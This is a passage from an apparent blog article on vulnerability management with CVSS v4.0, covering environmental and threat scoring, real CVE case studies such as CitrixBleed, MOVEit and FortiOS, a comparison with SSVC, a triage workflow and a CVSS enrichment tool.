Question: Can this Erlang/OTP node reach sensitive downstream systems?
Scenario A - Erlang node manages distributed message queue with connections
to all application databases:
No change to SC/SI/SA - the blast radius is real.
Score stays at 7.4 High.
Scenario B - Isolated analytics Erlang node, read-only DB access,
no write access to production systems:
MSC:L / MSI:N / MSA:L
"Node only reads from replica DB, no write paths, no service account
with production access. Network egress rules FW-2089 confirmed."
Updated score: ~6.1 Medium
Final Comparison Table
The takeaway: A genuine 10.0 pre-auth RCE becomes a 5.9 Medium for an internal, MFA-protected, isolated node with no active exploit. That is not negligence — that is accurate risk modeling.
Worked Example 3: Firmware Report — 18 Criticals Become Medium
This example demonstrates how Environmental metrics transform a firmware scanner report into an actionable prioritized list.
The Problem
A firmware scan of an industrial IoT sensor returns:
The raw scanner output shows 3 Critical CVEs and 13 High CVEs — all requiring immediate response under Base-only scoring.
The Device Context
Industrial flow sensor on a process control OT network
Not internet-accessible — connected only to local OT subnet
Read-only sensor data; no PII, no financial data
No GUI, no interactive user sessions
Vendor scored all CVEs assuming internet-facing deployment (BusyBox can be deployed anywhere)
Key Environmental Adjustment: MAV:A
BusyBox CVEs with AV:N assume the applet is accessible from the internet. On this sensor, it is accessible only from the adjacent OT subnet. Single adjustment: MAV:A .
Before and After
Summary transformation:
Result: The 3am emergency patching requirement disappears. The highest-priority items are now High severity, manageable within the next OT maintenance window. A team that was facing a weekend emergency now has a structured, scheduled response.
Important Caveat: Safety Metrics for OT
If this sensor is part of a safety-critical process control system (chemical plant, power grid, water treatment), add the Supplemental Safety metric: /S:P (Safety: Present)
This does not change the CVSS score. But it flags to any responder
that exploitation could have physical safety consequences - and those
consequences must be evaluated against the CVSS-BTE severity.
A CVSS-BTE 6.5 Medium with S:P on a safety controller may require
faster response than a 7.9 High with S:N on an admin workstation.
Worked Example 4: CitrixBleed, MOVEit, FortiOS
Three real-world cases from 2023–2024 that illustrate different CVSS adjustment scenarios.
Case A: CVE-2023–4966 — CitrixBleed (Citrix NetScaler)
Vulnerability: Sensitive information disclosure in Citrix NetScaler Application Delivery Controller (ADC) and Gateway. An unauthenticated attacker could retrieve session tokens, enabling session hijacking without credentials. Used extensively by ransomware affiliates (LockBit, Medusa) and government-sector attackers. Base Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H
Base Score: 9.4 Critical
Reading the base vector:
AV:N - NetScaler is internet-facing by design (it is a load balancer/VPN endpoint)
AC:L - Single HTTP request to /gwtest/formssso endpoint
AT:N - No special preconditions; affects default configuration
PR:N - Unauthenticated
UI:N - No user interaction
VC:H - Session token retrieved → full user account access
VI:N - The vulnerability itself doesn't modify data on NetScaler
VA:N - No availability impact from session theft
SC:H - Session tokens enable access to downstream internal resources
SI:H - Attacker with stolen session can modify data in downstream systems
SA:H - Downstream systems can be disrupted
CISA KEV: Added October 18, 2023 (within weeks of disclosure)
EPSS: ~0.97+ (extremely high, immediate mass exploitation)
Threat actors: LockBit affiliate, Boeing breach (confirmed), Allen & Overy, more
Environmental scoring for an external-facing Citrix deployment: For a typical enterprise with internet-facing NetScaler:
E:A — In CISA KEV, confirmed ransomware exploitation
BTE (no modification possible - it IS internet-facing):
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H/E:A
Score: 9.4 Critical - Immediate response required.
No environmental adjustment can justify delay here.
If you have an internet-facing NetScaler, this requires a 24–72 hour emergency response.
Key operational point: CitrixBleed demonstrates why E:A (CISA KEV entry) must immediately override any environmental reduction arguments. The question is not "is our NetScaler important enough to patch quickly?" The question is "are there ransomware groups scanning for CitrixBleed right now?" The answer (confirmed by CISA, FBI, and multiple incident response reports) was: yes.
Case B: CVE-2023–34362 — MOVEit Transfer SQLi
Vulnerability: SQL injection in Progress Software's MOVEit Transfer managed file transfer platform. Exploited exclusively by the Cl0p ransomware group in a coordinated mass-exploitation campaign in May–June 2023. Affected 2,000+ organizations globally, including government agencies, hospitals, and financial firms. Base Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Base Score: 9.8 Critical
Key characteristics:
AT:N - Default configuration is vulnerable
AU:Y (Supplemental: Automatable: Yes) - Cl0p used automated mass exploitation
V:C (Supplemental: Value Density: Concentrated) - File transfer platforms hold
files from MANY organizations → single compromise = mass data access
The supply chain scoring challenge:
MOVEit Transfer is a managed file transfer service . Organizations that used it often uploaded data from multiple business partners. The Subsequent System impact in v4.0 terms extends not just to internal systems, but to third-party data processed through the platform. For a MOVEit instance processing healthcare data for 50 partner organizations:
SC:H (data from all 50 partner orgs is accessible)
SI:H (data integrity of all 50 orgs' files at risk)
SA:H (disruption affects all 50 orgs' workflows)
This is exactly the v4.0 Subsequent System model working as intended.
The "blast radius" in SC/SI/SA must reflect the full downstream exposure,
not just the immediate server.
Case C: CVE-2024–21762 — FortiOS SSL VPN Out-of-Bounds Write
Vulnerability: Out-of-bounds write in FortiOS and FortiProxy SSL VPN. Enables unauthenticated remote code execution via specially crafted HTTP requests. Exploited by Chinese state-sponsored threat actors (attributed to Volt Typhoon and related clusters) for initial access into US critical infrastructure. Base Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Base Score: 9.6 Critical
CISA KEV: Added February 9, 2024
Attribution: Chinese state actors (Volt Typhoon, BRONZE SILHOUETTE)
Targets: US telecom, utilities, water systems, defense contractors
EPSS: ~0.97+
Why environmental adjustments cannot help here: Some organizations attempted to argue:
"Our FortiGate is behind our ISP's firewall" → This is the perimeter device;
it IS the firewall. MAV:A does not apply.
"We have IDS monitoring" → FortiOS exploitation bypasses host-based monitoring
because the exploit targets the device providing network access.
"We have incident response capability" → This affects recovery, not exploitability.
For any internet-facing SSL VPN endpoint: E:A + AV:N = no score reduction possible.
The CVSS-BTE remains at or near 9.6 Critical.
Key lesson from these three cases: Environmental metrics are for reducing false priorities on legitimate non-urgent vulnerabilities. They are not for manufacturing justifications to defer critical work. When CISA KEV + high EPSS + confirmed exploitation by nation-state or ransomware actors = E:A , your response is patching, not scoring.
Industry-Specific Scoring: Healthcare, Finance, OT/ICS
Different industries have fundamentally different CIA priority models. This affects how Security Requirements (CR/IR/AR) should be set.
Healthcare (HIPAA Environment)
In healthcare, Confidentiality is paramount — HIPAA civil penalties range from ~$137 to ~$68,928 per violation (inflation-adjusted tiers as of 2023), with annual caps per violation category up to $2M+. Patient data exposure is the primary risk. Healthcare Security Requirements Profile:
CR:H — Patient data confidentiality: extremely high (HIPAA, HITECH)
IR:H — Clinical data integrity: critical (wrong data → clinical decisions)
AR:H — System availability: high (clinical workflows depend on uptime)
Example: CVE on a hospital's Electronic Health Record (EHR) system:
Base: CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Base Score: 5.3 Medium
With healthcare profile:
/CR:H/IR:H/AR:H
BTE Score: ~7.1 High - urgent patching required
Same vulnerability on internal developer workstation:
/CR:L/IR:L/AR:L/MAV:L
BTE Score: ~2.8 Low - next maintenance window
Healthcare-specific supplemental metrics:
S:P (Safety: Present) — for vulnerabilities in infusion pumps, ventilators, monitoring systems
R:I (Recovery: Irrecoverable) — for ransomware affecting PACS/clinical imaging
Financial Services (PCI-DSS / SOX Environment)
In finance, Integrity is often more critical than Confidentiality — financial data manipulation can cause immediate monetary loss, while data disclosure may take weeks to monetize. Financial Services Security Requirements Profile:
CR:H — Customer financial data: high (regulatory, reputational)
IR:H — Transaction integrity: CRITICAL (fraud, unauthorized transfers)
AR:H — Trading/payment systems: critical (SLAs, regulatory requirements)
Key distinction from healthcare: IR:H often matters MORE than CR:H here.
Example: SQL injection in a payment processing portal:
Base: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
Base Score: 8.9 High
With PCI environment profile for payment card data scope:
/CR:H/IR:H/AR:H
BTE Score: ~9.4 Critical - treat as emergency
Same vulnerability on a market-data read-only display terminal:
/CR:L/IR:L/AR:L/MAV:A
BTE Score: ~4.1 Medium
OT/ICS (Industrial Control Systems)
In OT environments, Availability and Safety often supersede Confidentiality. Data breaches are bad; plant shutdowns and physical harm are catastrophic. OT/ICS Security Requirements Profile:
CR:L — Process data is often not sensitive (flow rates, temperatures)
IR:H — Control data integrity is critical (wrong setpoint = equipment damage)
AR:H — Process availability is critical (plant shutdown = immediate loss)
S:P — Many OT vulnerabilities have physical safety implications
Critical distinction: In OT, patching is NOT always possible on short timelines.
A patch that requires a production system restart may be more disruptive than
the vulnerability itself.
CVSS-BTE for OT must account for:
1. The actual network exposure (almost always MAV:A or MAV:L for OT)
2. The patching cost (use Vulnerability Response Effort: RE:H for OT)
3. The safety impact (Safety: S:P when applicable)
Example: CVE on a Siemens S7 PLC (SCADA context):
Base: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:H/SC:H/SI:H/SA:H
Base Score: 9.3 Critical
OT environmental adjustment:
MAV:A - PLC on isolated OT VLAN, air-gapped from corporate
MAC:H - Access requires physical OT network entry (secured facility)
CR:L - Process data is non-sensitive
IR:H - Control integrity critical
AR:H - Process availability critical
/S:P - Physical safety implications (supplemental, not scored)
/RE:H - Patching requires production window, vendor support (supplemental)
BTE Score: ~7.8 High
Action: Schedule for next maintenance window (may be months away)
Interim mitigation: Network segmentation controls (document in CVSS-BTE)
Industry Scoring Profile Quick Reference
CVSS vs SSVC: When to Use Which
SSVC (Stakeholder-Specific Vulnerability Categorization) is CISA's decision-tree framework for vulnerability prioritization. It is an alternative (not replacement) to CVSS that uses a different model.
How SSVC Works
SSVC asks four questions in sequence, each with structured answers: 1. Exploitation Status
→ None / POC / Active
(same concept as CVSS E metric, but drives the whole tree)
2. Automatable
→ Yes / No
(Can the vulnerability be exploited at scale without human interaction?)
3. Technical Impact
→ Partial / Total
(Does exploitation give total system control or partial?)
4. Mission and Well-being Impact
→ Minimal / Material / Irreversible
(What is the downstream organizational and human impact?)
Outputs (instead of a number): Track / Attend / Act / Immediate
CVSS vs SSVC Comparison
When to Use Each
Use CVSS when:
Regulatory compliance requires it (PCI DSS, HIPAA, NIS2, NIST RMF)
You need a numeric score for SLA tracking and audit trails
You are integrating with SIEM, ticketing systems, or scanners that consume CVSS vectors
You need fine-grained documentation of WHY a vulnerability is de-prioritized
Supply chain transparency (SBOM, vendor contracts)
Use SSVC when:
You need rapid triage without deep metric analysis
Your team is small and lacks time for full CVSS-BTE enrichment
You are in a government/defense context where CISA guidance is authoritative
You want a clear output for non-technical stakeholders ("Act on this now" vs "Track it")
Use both when:
CVSS-BTE for documentation, compliance, and audit
SSVC for team-level triage and prioritization decisions
Both frameworks reaching the same conclusion = high confidence
Example comparison — CVE-2023–4966 (CitrixBleed): CVSS-BTE (internet-facing NetScaler, E:A):
Score: 9.4 Critical
SLA: Patch within 24 hours
Documentation: vector string with E:A, justification for each metric
SSVC:
Exploitation: Active
Automatable: Yes (scanning was automated, documented)
Technical Impact: Total (full session token theft)
Mission/Well-being: Irreversible (customer data exposure, regulatory)
→ Decision: Immediate
Both outputs agree: drop everything, patch now.
The Practical VM Workflow: From Scanner Output to Prioritized Action
The 6-Step Process
┌───────────────────────────────────────────────────────────────┐
│ VULNERABILITY MANAGEMENT WORKFLOW (CVSS v4.0) │
│ │
│ Step 1: INGEST │
│ Scanner Report → extract all CVE IDs + Base Vectors │
│ (Tenable, Qualys, Rapid7, Wiz all export CVE IDs) │
│ │
│ Step 2: THREAT ENRICHMENT (automated, applies to all CVEs) │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ CISA KEV API → E:A if listed │ │
│ │ EPSS API → E:P if ≥ 0.1, E:U if < 0.1 │ │
│ │ Override: E:A if KEV regardless of EPSS │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
│ Step 3: ASSET GROUPING │
│ Group CVEs by affected system/network zone │
│ Tag each group: zone, data class, compensating controls │
│ │
│ Step 4: ENVIRONMENTAL ENRICHMENT (per asset group) │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Network zone → MAV value (N/A/L/P) │ │
│ │ Access controls → MAC value (L/H) │ │
│ │ Data classification → MVC/MVI values │ │
│ │ Blast radius → MSC/MSI/MSA values │ │
│ │ Asset criticality → CR/IR/AR values │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
│ Step 5: RECALCULATE ALL SCORES │
│ CVSS v4.0 calculator API or FIRST.org calculator │
│ Output: CVSS-BTE score per CVE per asset group │
│ │
│ Step 6: PRIORITIZE AND ACT (by CVSS-BTE) │
│ Critical (9.0+): 24–72 hours — emergency response │
│ High (7.0–8.9): 30 days — planned sprint │
│ Medium (4.0–6.9): 90 days — next maintenance window │
│ Low (<4.0): Next major release / accept risk │
└───────────────────────────────────────────────────────────────┘
CVSS v4.0 Enrichment Tool
The pipeline described throughout this section is available as a standalone command-line tool: cvss_enrichment_tool (GitHub). git clone https://github.com/anpa1200/cvss_4.0.git
cd cvss_4.0
pip3 install requests
python3 cvss_enrichment_tool.py --cves CVE-2021-44228 CVE-2023-4966 --profile internet_facing
How It Works
The tool implements the three-stage enrichment pipeline in a single automated run: CVE IDs → NVD API (Base vector) → CISA KEV (E:A?) → EPSS API (E:P/E:U?)
→ Apply asset profile (MAV/MAC/CR/IR/AR/MSC...)
→ Output CVSS-BTE vector + severity band + SLA recommendation
Stage 1 — Base vector (NVD API 2.0). For each CVE ID the tool queries services.nvd.nist.gov and retrieves the CVSS vector string. It prefers a v4.0 vector; if only a v3.1 vector exists (common for CVEs predating November 2023), it applies threat-only enrichment and flags the result for manual re-scoring at the FIRST.org calculator.
Stage 2 — Threat enrichment (KEV + EPSS). The tool downloads the full CISA KEV catalog in a single request and checks each CVE against it. If listed → E:A . Otherwise it queries the FIRST.org EPSS API: EPSS ≥ 0.5 or ≥ 0.1 → E:P ; below 0.1 → E:U .
Stage 3 — Environmental enrichment (asset profile). Modified Base metrics and Security Requirements from the selected profile are appended to the vector. The tool ships with six built-in profiles — internet_facing , internal_vlan , isolated_ot , dev_test , healthcare_ehr , pci_payment — covering the most common deployment contexts described in this article.
Output
The tool prints a severity-ranked table and optionally writes CSV ( --output ) or JSON ( --json ) for import into ticket systems or dashboards: CVE CVSS KEV EPSS E Severity SLA
──────────────────────────────────────────────────────────────────
CVE-2021-44228 3.1 YES 0.9446 E:A Critical 24–72 hours
CVE-2023-4966 3.1 YES 0.9435 E:A Critical 24–72 hours
CVE-2023-34362 3.1 YES 0.9437 E:A Critical 24–72 hours
CVE-2024-21762 3.1 YES 0.9308 E:A Critical 24–72 hours
CVE-2025-32433 3.1 YES 0.5031 E:A Critical 24–72 hours
Full documentation, profile definitions, and NVD API key instructions are in the repository README: https://github.com/anpa1200/cvss_4.0
CVSS as Regulatory Framework: The 5-Phase Maturity Model
The CVSS v4.0 lifecycle (CVSS-B → CVSS-BT → CVSS-BTE) maps directly to a regulatory maturity roadmap. This framework was formalized by Rob Arnold (Acorn Pass / CVSS Associates) in the whitepaper "Enhancing National Cyber Resilience: CVSS v4.0 as a Regulatory Framework" (2025).
The 5 Phases + SCRM Track
The Gaming Prevention Problem
At Phase 5, CVSS-BTE scores can be lower than CVSS-B. This creates an incentive: organizations might manipulate Environmental metrics to claim compliance while leaving real vulnerabilities unaddressed.
The regulatory countermeasure:
Auditors verify environmental claims against evidence:
MAV:A claimed → auditor validates against firewall rules, network diagrams, penetration test results
MAC:H claimed → auditor validates against policy documents, VPN logs, MFA enrollment records
MSC:N claimed → auditor validates against network topology and egress controls
Auditors verify response to changing E metrics:
If E:U was set last quarter and the CVE just entered CISA KEV, did the organization detect this change?
Did they update the E metric from U to A?
Did they escalate the remediation priority accordingly?
The principle from the FIRST.org guide: CVSS-BTE scores are defensible precisely because they are documented and auditable. An organization cannot reduce a score without leaving an evidence trail that auditors can verify.
Regulatory Applications by Framework:
Supply Chain CVSS (SCRM Track)
Organizations at Phase 5 embed CVSS requirements in supplier contracts: Example supplier contract language:
1. The Supplier shall disclose CVSS v4.0 Base vectors for all
vulnerabilities in delivered software within 5 business days
of CVE publication.
2. The Supplier shall provide software updates or documented
mitigations sufficient to enable the Buyer to achieve a
CVSS-BTE score of ≤ Medium (6.9) for all High or Critical
Base vulnerabilities.
3. The Supplier shall include CVSS v4.0 vectors for all known
vulnerabilities in all Software Bills of Materials (SBOMs).
4. The Supplier shall notify the Buyer within 24 hours if any
vulnerability in delivered software enters the CISA KEV catalog.
Supplemental Metrics: The Overlooked Context Layer
Supplemental metrics do not change the CVSS score. They add human-readable operational context that the numeric score cannot capture. Think of them as structured analyst notes attached to the vulnerability record.
AU:Y — Automatable Exploitation
AU:Y means an attacker can script the exploit to run against thousands of targets without human intervention. This is the worm-capability indicator.
Why it matters beyond the CVSS score:
Log4Shell ( AU:Y ) was being exploited by automated scanners within 24 hours of POC release. A CVSS-BTE score of 7.4 High with AU:Y requires faster response than an 8.0 High with AU:N that requires a custom, targeted attack chain.
Real examples with AU:Y :
Log4Shell (CVE-2021–44228) — AU:Y : log any HTTP request, mass exploitation immediate
MOVEit Transfer (CVE-2023–34362) — AU:Y : Cl0p ran fully automated campaign
HTTP/2 Rapid Reset (CVE-2023–44487) — AU:Y : DDoS amplification automated
Heartbleed (CVE-2014–0160) — AU:Y : automated scanners ran within hours
S:P — Safety Impact in OT/Medical
S:P (Safety: Present) flags that exploitation could result in physical harm to people or property. This metric is essential for:
Industrial control systems (chemical plants, power grids, water treatment)
Medical devices (infusion pumps, ventilators, pacemakers)
Automotive systems (ECU vulnerabilities) Example: Vulnerability in a pharmaceutical manufacturing control system
CVSS-BTE score: 5.9 Medium (due to MAV:A environmental adjustment)
Supplemental: /S:P (Safety: Present)
Without S:P context, this looks like a 90-day scheduled patch.
With S:P context, the medical device safety team must evaluate whether
the vulnerability could cause incorrect dosing, batch contamination,
or equipment failure - potentially regardless of the numeric CVSS score.
R:I — Irrecoverable Systems
R:I (Recovery: Irrecoverable) means successful exploitation causes permanent damage that cannot be remediated without hardware replacement, data restoration from backup, or destructive re-imaging.
Relevant scenarios:
Ransomware affecting backup systems (R:I — cannot restore without the backups)
Firmware corruption on embedded devices (R:I — requires physical device replacement)
Cryptographic key material theft (R:I — compromised keys cannot be "un-stolen")
Industrial control setpoint modification causing equipment damage (R:I — physical damage)
The 8 Most Common CVSS Mistakes
Mistake 1: Treating the Base Score as the Final Answer
The Base score is produced by a vendor who has never seen your environment. It reflects the worst-case scenario for their entire customer base. For any specific deployment, it is almost always an overestimate. Always enrich with Threat and Environmental metrics before prioritizing remediation.
What it looks like: Team sorts scanner output by Base score, assigns SLAs based on Critical/High/Medium bands from raw scanner, spends 90% of effort on low-risk vulnerabilities because their Base scores are high.
Mistake 2: Never Setting E:U for CVEs Without Exploit Evidence
Leaving E:X (Not Defined) means CVSS assumes every CVE is actively exploited. Given that ~95% of CVEs have no known working exploit, this guarantees your prioritization is inverted. Setting E:U for no-exploit CVEs is not optimism — it is accuracy and it is required for CVSS to function as a tool rather than a scare generator.
The fix: Automate KEV + EPSS checks for all new CVEs. Default new CVEs without KEV or EPSS signal to E:U .
Mistake 3: Applying the Same Environmental Profile to All Systems
An internet-facing web application and an air-gapped industrial controller have entirely different attack vectors, compensating controls, and data sensitivity. Applying identical Environmental metrics to both produces inaccurate scores for both systems. Define asset groups and apply distinct profiles per group.
Mistake 4: Not Documenting Environmental Adjustments
If you lower a CVE from 9.8 to 4.2 using MAV:A/MAC:H/MSC:N but cannot produce evidence for each adjustment when an auditor asks, those adjustments provide no compliance value. Every Modified metric must cite a specific control, policy, network diagram, or asset classification document.
Mistake 5: Confusing CVSS-BTE with Risk Score
CVSS-BTE measures severity adjusted for your environment. It is not a risk score. A CVSS-BTE 5.0 Medium vulnerability on a system controlling a nuclear cooling pump may represent existential organizational risk. CVSS informs prioritization within a risk framework — it is not the risk framework itself. Overlay CVSS-BTE with asset criticality, business impact, and regulatory consequence to produce risk decisions.
Mistake 6: Static Environmental Metrics
Environmental metrics become stale the moment your environment changes. A system that was air-gapped (MAV:A justified) may have had a cloud management connector added three months later. The MAV:A you documented is now wrong, and your 4.5 Medium is actually an 8.9 High.
The fix: Tie Environmental metric review to change management. Any change to a system's network connections, access controls, or data classification should trigger a CVSS-BTE re-evaluation.
Mistake 7: Using v3.x Vectors with v4.0 Tools (and Vice Versa)
CVSS v4.0 vectors are incompatible with v3.x parsers. The S (Scope) metric from v3.x does not exist in v4.0; the dual-system impact model (VC/VI/VA + SC/SI/SA) does not exist in v3.x. Tools that parse v3.1 vectors will misinterpret v4.0 vectors and produce incorrect scores. Verify scanner, SIEM, and ticketing system compatibility with CVSS v4.0.
Check your tools: As of early 2025, Tenable Nessus, Qualys VMDR, and Rapid7 InsightVM all publish CVSS v4.0 scores for new CVEs, but legacy integrations may still expose v3.1 scores by default. Check API output, not just UI display.
Mistake 8: Treating CISA KEV as the Only Source of E:A
CISA KEV is the best publicly available source for E:A determination, but it has coverage gaps. CISA focuses on US federal agency exposure; some CVEs exploited extensively in other regions or sectors may not appear in KEV. Supplement with:
Vendor advisories that explicitly state "under active exploitation"
Commercial threat intelligence feeds (Mandiant, Recorded Future, Greynoise)
CERT/CC, national CERT advisories (CERT-EU, BSI, ANSSI)
Industry-specific ISACs (FS-ISAC for finance, H-ISAC for healthcare)
Quick Reference Cheatsheet
CVSS v4.0 Base Metrics — Complete Reference
ATTACK VECTOR (AV):
N = Network — Remotely exploitable from internet
A = Adjacent — Same network segment / LAN required
L = Local — Local interactive shell access required
P = Physical — Physical device access required
ATTACK COMPLEXITY (AC):
L = Low - Repeatable without special conditions; script it
H = High - Requires active bypass of security mechanisms (ASLR, race condition)
ATTACK REQUIREMENTS (AT): [NEW in v4.0 - replaces part of old AC]
N = None - No special deployment configuration needed
P = Present - Non-default config must be present in deployment
PRIVILEGES REQUIRED (PR):
N = None - Unauthenticated / pre-auth
L = Low - Regular user account
H = High - Administrator / root / privileged service account
USER INTERACTION (UI):
N = None - Attacker acts alone, no victim participation
P = Passive - Victim views/receives something (opens page, email preview)
A = Active - Victim explicitly performs an action (clicks link, runs file)
VULNERABLE SYSTEM (VC/VI/VA): [Replaces C/I/A in v3.x]
N = None H = High L = Low
SUBSEQUENT SYSTEM (SC/SI/SA): [Replaces Scope Changed in v3.x]
N = None H = High L = Low
Exploit Maturity (E) — Decision Flowchart
Is CVE in CISA KEV?
→ YES: E:A (Attacked) ─────────────────────────────────────────┐
→ NO: ↓ │
│
Is EPSS ≥ 0.10? │
→ YES (0.1–0.5): Verify ExploitDB/Metasploit/GitHub → E:P │
→ YES (≥ 0.5): High exploitation probability → E:P minimum │
→ NO: ↓ │
│
Is there a public exploit? (ExploitDB, Metasploit, GitHub) │
→ YES: E:P (Proof of Concept) │
→ NO: E:U (Unreported) │
└→ Maximum priority, patch immediately
Environmental Metric Quick Decisions
"Is this system reachable from the internet?"
YES → No AV change needed NO → MAV:A (or L/P for more isolated)
"Does reaching this system require bypassing MFA/VPN/jump host?"
YES → MAC:H NO → No AC change needed
"Does this system handle your most sensitive data?"
NO → MVC:L (or N) YES → No VC change, or set CR:H
"Can this system affect other systems if compromised?"
NO → MSC:N/MSI:N/MSA:N YES → No change, blast radius is real
"Is this a test/dev environment?"
YES → CR:L/IR:L/AR:L NO → Keep vendor defaults or raise CR/IR/AR
Score Impact Reference (Approximate)
Note: CVSS v4.0 uses lookup tables, not formulas — these are empirical approximations.
Common Vector String Examples
# Worst case — all vendor defaults, no enrichment:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
→ 10.0 Critical
# Internet-facing, actively exploited (CISA KEV):
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A
→ 10.0 Critical (E:A maintains maximum - patch immediately)
# Internet-facing, POC exists, not yet actively exploited:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
→ ~8.4 High (7-day SLA)
# Internal (adjacent network), POC exists, MFA VPN required:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/MAV:A/MAC:H
→ ~7.4 High (30-day SLA)
# Internal, isolated (no subsequent system paths), no exploit evidence:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:U/MAV:A/MAC:H/MSC:N/MSI:N/MSA:N
→ ~4.5 Medium (90-day SLA)
# OT sensor, adjacent network, non-sensitive data, no subsequent paths:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:U/MAV:A/MAC:H/CR:L/MSC:N/MSI:N/MSA:N
→ ~3.9 Low (next maintenance window)
SLA Tiers by CVSS-BTE Score
Tools and Resources
FIRST.org v4.0 Calculator
NVD Calculator
NVD API — vector retrieval
CVSS v4.0 Enrichment Tool — KEV + EPSS + BTE automation
Specification & Guides
CVSS v4.0 Specification
Consumer Implementation Guide
CVSS v4.0 User Guide
Threat Intelligence
CISA KEV Catalog
CISA KEV API (JSON feed)
EPSS API
ExploitDB
Complementary Frameworks
SSVC Decision Guide (CISA)
CVSS vs SSVC — Implementation Guide §4
Conclusion
CVSS v4.0 answers the question that vulnerability managers have been asking for years: "Why is my scanner showing 500 Critical vulnerabilities when I clearly cannot patch all of them this week?"
The answer is not that CVSS is broken. The answer is that CVSS Base scores were never intended to be your final answer. They are the starting point — a common language between a vendor who does not know your environment and a security team that does.
The three-layer model (CVSS-B → CVSS-BT → CVSS-BTE) gives your team the tools to translate a generic score into a deployment-specific one. Threat metrics (E + EPSS) eliminate the false urgency from the 95% of CVEs with no known exploit. Environmental metrics eliminate the false priority from scoring isolated systems as if they were internet-facing.
The real-world examples in this guide — Log4Shell, CitrixBleed, MOVEit, Erlang/OTP, firmware reports — illustrate both directions of this system. Sometimes (Log4Shell, CitrixBleed) the 10.0 score is correct, and environmental arguments are irrelevant: you patch immediately because active exploitation is confirmed and your exposure is real. Sometimes (internal OT sensor, air-gapped development system) a 9.8 Base score correctly becomes a 3.9 Low, not because the vulnerability is less dangerous, but because your deployment makes exploitation genuinely difficult and downstream impact genuinely limited.
That is not gaming the system. That is using the system correctly.
If you like this research, buy me a coffee (PayPal) — Keep the lab running
References
CVSS v4.0 Specification — FIRST.org: https://www.first.org/cvss/v4-0/
CVSS v4.0 Consumer Implementation Guide — FIRST.org: https://www.first.org/cvss/v4.0/implementation-guide
CVSS v4.0 User Guide — FIRST.org: https://www.first.org/cvss/user-guide
EPSS (Exploit Prediction Scoring System) — FIRST.org: https://www.first.org/epss/
CISA Known Exploited Vulnerabilities Catalog — CISA: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
SSVC (Stakeholder-Specific Vulnerability Categorization) — CISA: https://www.cisa.gov/ssvc
NVD (National Vulnerability Database) — NIST: https://nvd.nist.gov
NVD API 2.0 Documentation : https://nvd.nist.gov/developers/vulnerabilities
CVE-2021–44228 (Log4Shell) — Apache: https://logging.apache.org/log4j/2.x/security.html
CVE-2023–4966 (CitrixBleed) — Citrix: https://support.citrix.com/article/CTX579459
CVE-2023–34362 (MOVEit SQLi) — Progress: https://www.progress.com/security
CVE-2024–21762 (FortiOS) — Fortinet: https://www.fortiguard.com/psirt/FG-IR-24-015
CVE-2025–32433 (Erlang/OTP SSH) — Erlang security advisories: https://www.erlang.org/security
"CVSS: A Scoring System or a Tool?" — Oren Yulevitch, CVSS SIG presentation
"Enhancing National Cyber Resilience: CVSS v4.0 as a Regulatory Framework" — Rob Arnold, Acorn Pass / CVSS Associates (2025)
Joint Advisory: Apache Log4j Vulnerability — CISA, FBI, NSA (December 2021): https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-356a
CISA Advisory: Volt Typhoon (CVE-2024–21762 context): https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-038a
Andrey Pautov
#cvss #cybersecurity #vulnerability #vulnerability-management #cve
Reporting a Problem
Sometimes we have problems displaying some Medium posts.
If you have a problem that some images aren't loading - try using VPN. Probably you have problem with
access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).